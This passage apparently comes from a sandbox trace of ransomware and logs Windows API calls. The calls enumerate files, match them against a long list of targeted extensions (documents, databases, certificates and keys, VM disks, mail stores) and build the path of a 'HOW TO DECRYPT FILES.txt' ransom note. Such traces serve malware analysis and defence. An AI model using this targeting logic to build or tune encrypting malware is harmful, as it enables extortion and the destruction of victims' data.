Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.java") returned 0 [0057.665] lstrlenA (lpString="*.java") returned 6 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.asm") returned 0 [0057.665] lstrlenA (lpString="*.asm") returned 5 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.pfx") returned 0 [0057.665] lstrlenA (lpString="*.pfx") returned 5 [0057.665] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.pem") returned 0 [0057.666] lstrlenA (lpString="*.pem") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.p12") returned 0 [0057.666] lstrlenA (lpString="*.p12") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.gpg") returned 0 [0057.666] lstrlenA (lpString="*.gpg") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.vsd") returned 0 [0057.666] lstrlenA (lpString="*.vsd") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.odg") returned 0 [0057.666] lstrlenA (lpString="*.odg") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.raw") returned 0 [0057.666] lstrlenA (lpString="*.raw") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.nef") returned 0 [0057.666] lstrlenA (lpString="*.nef") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.svg") returned 0 [0057.666] lstrlenA (lpString="*.svg") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.psd") returned 0 [0057.666] lstrlenA (lpString="*.psd") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.vmx") returned 0 [0057.666] lstrlenA (lpString="*.vmx") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.vmdk") returned 0 [0057.666] lstrlenA (lpString="*.vmdk") returned 6 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.vdi") returned 0 [0057.666] lstrlenA (lpString="*.vdi") returned 5 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.lay6") returned 0 [0057.666] lstrlenA (lpString="*.lay6") returned 6 [0057.666] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.mpeg") returned 0 [0057.666] lstrlenA (lpString="*.mpeg") returned 6 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.djvu") returned 0 [0057.667] lstrlenA (lpString="*.djvu") returned 6 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.tiff") returned 0 [0057.667] lstrlenA (lpString="*.tiff") returned 6 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.backup") returned 0 [0057.667] lstrlenA (lpString="*.backup") returned 8 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.pdf") returned 0 [0057.667] lstrlenA (lpString="*.pdf") returned 5 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.cert") returned 0 [0057.667] lstrlenA (lpString="*.cert") returned 6 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.docm") returned 0 [0057.667] lstrlenA (lpString="*.docm") returned 6 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.xlsm") returned 0 [0057.667] lstrlenA (lpString="*.xlsm") returned 6 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.dwg") returned 0 [0057.667] lstrlenA (lpString="*.dwg") returned 5 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.nd") returned 0 [0057.667] lstrlenA (lpString="*.nd") returned 4 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.tlg") returned 0 [0057.667] lstrlenA (lpString="*.tlg") returned 5 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.lgb") returned 0 [0057.667] lstrlenA (lpString="*.lgb") returned 5 [0057.667] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.mov") returned 0 [0057.667] lstrlenA (lpString="*.mov") returned 5 [0057.668] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.xdw") returned 0 [0057.668] lstrlenA (lpString="*.xdw") returned 5 [0057.668] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.ods") returned 0 [0057.668] lstrlenA (lpString="*.ods") returned 5 [0057.668] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.wav") returned 0 [0057.668] lstrlenA (lpString="*.wav") returned 5 [0057.668] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.mp3") returned 0 [0057.668] lstrlenA (lpString="*.mp3") returned 5 [0057.668] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.aiff") returned 0 [0057.668] lstrlenA (lpString="*.aiff") returned 6 [0057.668] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.flac") returned 0 [0057.668] lstrlenA (lpString="*.flac") returned 6 [0057.668] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.m4a") returned 0 [0057.668] lstrlenA (lpString="*.m4a") returned 5 [0057.668] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", pszSpec="*.csv") returned 0 [0057.668] lstrlenA (lpString="*.csv") returned 5 [0057.668] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0057.668] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.668] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WordLR.cab") returned -1 [0057.668] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WordLR.cab") returned -1 [0057.668] lstrcmpiA (lpString1="", lpString2="WordLR.cab") returned -1 [0057.668] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="Setup.xml" [0057.668] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" [0057.668] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\") returned="" [0057.669] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.669] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.669] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpString2="WordLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" [0057.669] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.ems") returned 0 [0057.669] lstrlenA (lpString="*.ems") returned 5 [0057.669] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.db") returned 0 [0057.669] lstrlenA (lpString="*.db") returned 4 [0057.669] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.dbf") returned 0 [0057.669] lstrlenA (lpString="*.dbf") returned 5 [0057.669] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.myox") returned 0 [0057.669] lstrlenA (lpString="*.myox") returned 6 [0057.669] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.myo") returned 0 [0057.669] lstrlenA (lpString="*.myo") returned 5 [0057.669] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.qbw") returned 0 [0057.669] lstrlenA (lpString="*.qbw") returned 5 [0057.669] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.qbb") returned 0 [0057.669] lstrlenA (lpString="*.qbb") returned 5 [0057.669] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.qbm") returned 0 [0057.669] lstrlenA (lpString="*.qbm") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.qbo") returned 0 [0057.670] lstrlenA (lpString="*.qbo") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.qbx") returned 0 [0057.670] lstrlenA (lpString="*.qbx") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.qba") returned 0 [0057.670] lstrlenA (lpString="*.qba") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.qby") returned 0 [0057.670] lstrlenA (lpString="*.qby") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.qbj") returned 0 [0057.670] lstrlenA (lpString="*.qbj") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.ofx") returned 0 [0057.670] lstrlenA (lpString="*.ofx") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.qif") returned 0 [0057.670] lstrlenA (lpString="*.qif") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.mye") returned 0 [0057.670] lstrlenA (lpString="*.mye") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.mbox") returned 0 [0057.670] lstrlenA (lpString="*.mbox") returned 6 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.eml") returned 0 [0057.670] lstrlenA (lpString="*.eml") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.pst") returned 0 [0057.670] lstrlenA (lpString="*.pst") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.ost") returned 0 [0057.670] lstrlenA (lpString="*.ost") returned 5 [0057.670] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.idx") returned 0 [0057.670] lstrlenA (lpString="*.idx") returned 5 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.dbx") returned 0 [0057.671] lstrlenA (lpString="*.dbx") returned 5 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.sql") returned 0 [0057.671] lstrlenA (lpString="*.sql") returned 5 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.mdb") returned 0 [0057.671] lstrlenA (lpString="*.mdb") returned 5 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.fdb") returned 0 [0057.671] lstrlenA (lpString="*.fdb") returned 5 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.wab") returned 0 [0057.671] lstrlenA (lpString="*.wab") returned 5 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.dat") returned 0 [0057.671] lstrlenA (lpString="*.dat") returned 5 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.txt") returned 0 [0057.671] lstrlenA (lpString="*.txt") returned 5 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.jpeg") returned 0 [0057.671] lstrlenA (lpString="*.jpeg") returned 6 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.jpg") returned 0 [0057.671] lstrlenA (lpString="*.jpg") returned 5 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.png") returned 0 [0057.671] lstrlenA (lpString="*.png") returned 5 [0057.671] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.php") returned 0 [0057.671] lstrlenA (lpString="*.php") returned 5 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.cs") returned 0 [0057.672] lstrlenA (lpString="*.cs") returned 4 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.cpp") returned 0 [0057.672] lstrlenA (lpString="*.cpp") returned 5 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.rar") returned 0 [0057.672] lstrlenA (lpString="*.rar") returned 5 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.zip") returned 0 [0057.672] lstrlenA (lpString="*.zip") returned 5 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.html") returned 0 [0057.672] lstrlenA (lpString="*.html") returned 6 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.htm") returned 0 [0057.672] lstrlenA (lpString="*.htm") returned 5 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.xlsx") returned 0 [0057.672] lstrlenA (lpString="*.xlsx") returned 6 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.xls") returned 0 [0057.672] lstrlenA (lpString="*.xls") returned 5 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.mp4") returned 0 [0057.672] lstrlenA (lpString="*.mp4") returned 5 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.ppt") returned 0 [0057.672] lstrlenA (lpString="*.ppt") returned 5 [0057.672] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.pptx") returned 0 [0057.673] lstrlenA (lpString="*.pptx") returned 6 [0057.673] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.doc") returned 0 [0057.673] lstrlenA (lpString="*.doc") returned 5 [0057.673] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.dot") returned 0 [0057.673] lstrlenA (lpString="*.dot") returned 5 [0057.673] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.docx") returned 0 [0057.673] lstrlenA (lpString="*.docx") returned 6 [0057.673] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.7z") returned 0 [0057.673] lstrlenA (lpString="*.7z") returned 4 [0057.673] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.tar") returned 0 [0057.673] lstrlenA (lpString="*.tar") returned 5 [0057.673] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.bz2") returned 0 [0057.673] lstrlenA (lpString="*.bz2") returned 5 [0057.673] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.gz") returned 0 [0057.673] lstrlenA (lpString="*.gz") returned 4 [0057.673] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.mkv") returned 0 [0057.673] lstrlenA (lpString="*.mkv") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.eml") returned 0 [0057.674] lstrlenA (lpString="*.eml") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.msg") returned 0 [0057.674] lstrlenA (lpString="*.msg") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.edb") returned 0 [0057.674] lstrlenA (lpString="*.edb") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.accdb") returned 0 [0057.674] lstrlenA (lpString="*.accdb") returned 7 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.odb") returned 0 [0057.674] lstrlenA (lpString="*.odb") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.java") returned 0 [0057.674] lstrlenA (lpString="*.java") returned 6 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.asm") returned 0 [0057.674] lstrlenA (lpString="*.asm") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.pfx") returned 0 [0057.674] lstrlenA (lpString="*.pfx") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.pem") returned 0 [0057.674] lstrlenA (lpString="*.pem") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.p12") returned 0 [0057.674] lstrlenA (lpString="*.p12") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.gpg") returned 0 [0057.674] lstrlenA (lpString="*.gpg") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.vsd") returned 0 [0057.674] lstrlenA (lpString="*.vsd") returned 5 [0057.674] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.odg") returned 0 [0057.674] lstrlenA (lpString="*.odg") returned 5 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.raw") returned 0 [0057.675] lstrlenA (lpString="*.raw") returned 5 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.nef") returned 0 [0057.675] lstrlenA (lpString="*.nef") returned 5 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.svg") returned 0 [0057.675] lstrlenA (lpString="*.svg") returned 5 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.psd") returned 0 [0057.675] lstrlenA (lpString="*.psd") returned 5 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.vmx") returned 0 [0057.675] lstrlenA (lpString="*.vmx") returned 5 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.vmdk") returned 0 [0057.675] lstrlenA (lpString="*.vmdk") returned 6 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.vdi") returned 0 [0057.675] lstrlenA (lpString="*.vdi") returned 5 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.lay6") returned 0 [0057.675] lstrlenA (lpString="*.lay6") returned 6 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.mpeg") returned 0 [0057.675] lstrlenA (lpString="*.mpeg") returned 6 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.djvu") returned 0 [0057.675] lstrlenA (lpString="*.djvu") returned 6 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.tiff") returned 0 [0057.675] lstrlenA (lpString="*.tiff") returned 6 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.backup") returned 0 [0057.675] lstrlenA (lpString="*.backup") returned 8 [0057.675] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.pdf") returned 0 [0057.676] lstrlenA (lpString="*.pdf") returned 5 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.cert") returned 0 [0057.676] lstrlenA (lpString="*.cert") returned 6 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", pszSpec="*.docm") returned 0 [0057.676] lstrlenA (lpString="*.docm") returned 6 [0057.676] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", 